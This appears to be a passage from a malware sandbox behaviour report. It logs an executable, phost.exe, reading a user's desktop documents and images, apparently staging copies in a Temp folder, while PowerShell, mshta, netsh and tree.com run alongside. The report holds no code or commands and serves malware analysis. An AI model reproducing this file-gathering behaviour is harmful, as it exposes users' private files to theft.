Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\LTKMYBSEYZ.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\LTKMYBSEYZ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\LTKMYBSEYZ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\NIKHQAIQAU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\NIKHQAIQAU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\NIKHQAIQAU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\NWTVCDUMOB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\NWTVCDUMOB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\NWTVCDUMOB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\ONBQCLYSPU.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\ONBQCLYSPU.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\UMMBDNEQBN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\UMMBDNEQBN.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\UMMBDNEQBN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UOOJJOZIRH.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UOOJJOZIRH.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\UOOJJOZIRH.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\UOOJJOZIRH.mp3 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
